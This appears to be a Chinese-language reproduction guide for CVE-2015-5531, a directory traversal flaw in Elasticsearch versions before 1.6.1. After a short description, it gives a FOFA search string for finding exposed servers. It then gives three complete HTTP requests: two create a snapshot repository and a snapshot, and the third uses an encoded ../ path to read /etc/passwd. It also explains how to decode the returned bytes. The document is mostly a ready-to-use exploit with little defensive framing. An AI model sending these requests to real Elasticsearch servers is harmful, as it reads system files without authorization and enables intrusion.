-CVE-2015-5531（目录遍历漏洞）

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漏洞复现-CVE-2015-5531（目录遍历漏洞）

0x01 阅读须知

0x02 漏洞描述

Elasticsearch是荷兰Elasticsearch公司的一套基于Lucene构建的开源分布式RESTful搜索引擎，它主要用于云计算中，并支持通过HTTP使用JSON进行数据索引。Elasticsearch 1.6.1之前版本中存在目录遍历漏洞。远程攻击者可借助快照的API调用利用该漏洞读取任意文件。（elasticsearch 1.5.1及以前，无需任何配置即可触发该漏洞。之后的新版，配置文件elasticsearch.yml中必须存在path.repo，该配置值为一个目录，且该目录必须可写，等于限制了备份仓库的根位置。不配置该值，默认不启动这个功能。）

0x03 漏洞复现

漏洞影响:Elasticsearch < 1.6.1

FOFA:“ElasticSearch”

1.新建仓库

PUT /_snapshot/test HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}

2.新建快照

PUT /_snapshot/tes2t HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 126

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}

3.读取文件，并在浏览器console解ascii编码String.fromCharCode(ascii)

GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1